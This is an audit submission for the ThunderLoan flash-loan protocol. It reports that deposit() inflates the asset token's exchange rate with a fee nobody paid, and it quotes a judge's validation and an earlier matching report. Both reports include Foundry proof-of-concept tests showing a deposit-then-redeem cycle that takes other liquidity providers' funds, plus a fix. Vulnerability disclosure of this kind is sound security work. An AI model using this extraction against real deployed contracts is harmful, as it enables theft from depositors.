Thunder Loan
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Submission Details
Severity: high
Valid

`deposit()` books a flash-loan fee that nobody paid into the exchange rate, so depositors can instantly redeem more than they deposited and drain other LPs

junzai

Summary

In ThunderLoan (v1), deposit() calls assetToken.updateExchangeRate(calculatedFee), where calculatedFee is the flash-loan fee formula applied to the deposit amount. But no flash loan happened and nobody paid that fee — the AssetToken contract only received the depositor's principal. updateExchangeRate multiplies the exchange rate by (totalSupply + fee) / totalSupply, a formula that is only valid when fee worth of underlying actually arrived. Every deposit therefore prints unbacked claims (~0.3% of the deposit) out of thin air. A depositor mints shares at the old rate, their own deposit then pumps the rate, and an immediate redemption pays out more underlying than they put in — the difference is taken from the other LPs' backing.

Vulnerability Details

In src/protocol/ThunderLoan.sol (deposit, lines 147–157):

uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; // minted at OLD rate
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount); // a fee nobody paid
assetToken.updateExchangeRate(calculatedFee); // ...booked as if earned
token.safeTransferFrom(msg.sender, address(assetToken), amount); // only `amount` actually arrives

And in src/protocol/AssetToken.sol (updateExchangeRate, line 86):

uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();

Corroborating that this is a bug rather than a design: ThunderLoanUpgraded.deposit() removes exactly these two lines.

Impact

Risk-free, permissionless, repeatable extraction. Measured in the PoC (token priced at 1 WETH): an honest LP deposit of 100e18 already inflates the rate from 1e18 to 1.003e18. An attacker then deposits 100e18 and immediately redeems 100.150224663005491723e18 — a +0.1502e18 profit per cycle, compounding across cycles. Total claims grow ~0.3% per deposit while backing grows only by principal, so the pool becomes progressively insolvent: the LP's full redemption reverts afterwards. The code-reachable ceiling is the other LPs' principal, drained by whoever redeems first.

Proof of Concept

Foundry test (passes locally):

function test_depositInflatesExchangeRate() public {
// setUp: LP deposited 100e18. The rate is already inflated by the LP's own deposit:
assertEq(assetToken.getExchangeRate(), 1003000000000000000); // 1.003e18, started at 1e18
​
tokenA.mint(attacker, LP_DEPOSIT);
vm.prank(attacker);
tokenA.approve(address(thunderLoan), LP_DEPOSIT);
vm.prank(attacker);
thunderLoan.deposit(tokenA, LP_DEPOSIT);
assertEq(assetToken.getExchangeRate(), 1004506753369945082);
​
vm.prank(attacker);
thunderLoan.redeem(tokenA, assetToken.balanceOf(attacker));
​
// Deposited exactly 100e18, immediately redeemed more:
assertEq(tokenA.balanceOf(attacker), 100150224663005491723);
​
// Pool is now short: the honest LP cannot exit in full
vm.prank(lp);
vm.expectRevert();
thunderLoan.redeem(tokenA, type(uint256).max);
}

Recommended Mitigation

Remove the getCalculatedFee / updateExchangeRate calls from deposit() (as ThunderLoanUpgraded already does). The exchange rate should only increase when a fee has actually been received, i.e. on flash-loan repayment.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

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